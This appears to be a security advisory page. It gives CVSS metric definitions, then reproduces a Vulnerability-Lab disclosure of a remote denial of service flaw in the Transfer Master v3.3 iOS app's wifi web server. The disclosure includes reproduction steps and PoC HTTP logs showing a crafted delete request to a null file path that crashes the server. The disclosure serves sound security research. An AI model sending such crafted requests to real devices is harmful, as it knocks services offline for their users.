The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Transfer Master 3.3 Denial Of Service
Document Title:
===============
Transfer Master v3.3 iOS - Denial of Service Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2224
Release Date:
=============
2020-04-28
Vulnerability Laboratory ID (VL-ID):
====================================
2224
Common Vulnerability Scoring System:
====================================
4.2
Vulnerability Class:
====================
Denial of Service
Current Estimated Price:
========================
500 - 1.000
Product & Service Introduction:
===============================
Transfer Master - Transfer photo,video,file,contact and File manager.
(Copy of the Homepage:
https://apps.apple.com/us/app/transfer-master-transfer-photo-video-file-contact/id590196698
)
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a remote
denial of service vulnerability in the Transfer Master v3.3 mobile ios
web-application.
Vulnerability Disclosure Timeline:
==================================
2020-04-28: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Pre auth - no privileges
User Interaction:
=================
No User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
A remote denial of service vulnerability has been discovered in the
official Transfer Master v3.3 mobile ios web-application.
The denial of service vulnerability is located in the delete post method
request on the files path. Remote attackers can
manipulate the ui by sending special crafted requests to cause a null
pointer error that crashs the wifi web-server.
The attacker changes the file delete request to a null path which
results in a null pointer that crashs the application.
Successful exploitation of the denial of service vulnerability results
in a wifi web-server ui crash and freeze.
Proof of Concept (PoC):
=======================
The denial of service vulnerability can be exploited by remote attackers
with wifi network access without user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Install and start the local ios app
2. Open the wifi share option to start the web-server
3. Move to the front ui
4. Tamper the https session and reply by deleting the files path with
(null) as empty quote
5. The web-server crashs and the wifi ui becomes unavailable by a blank
screen that responds with not found
Note: Service still alive but finally unavailable cause of a null
pointer issue
6. Successful reproduce of the denial of service vulnerability!
--- PoC Session Logs (POST/GET) ---
http://localhost:8181/files//(null)
Host: localhost:8181
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
content-type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 28
Connection: keep-alive
_method=delete&commit=Delete
-
POST: HTTP/1.1 302 Found
Location: /
Content-Type: text/html; charset=utf-8
Content-Length: 67
-
http://localhost:8181/
Host: localhost:8181
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8181/
Connection: keep-alive
- (Game Over)
GET: HTTP/1.1 404 Not Found (Unavailable)
Accept-Ranges: bytes
Content-Length: 0
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
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=========================
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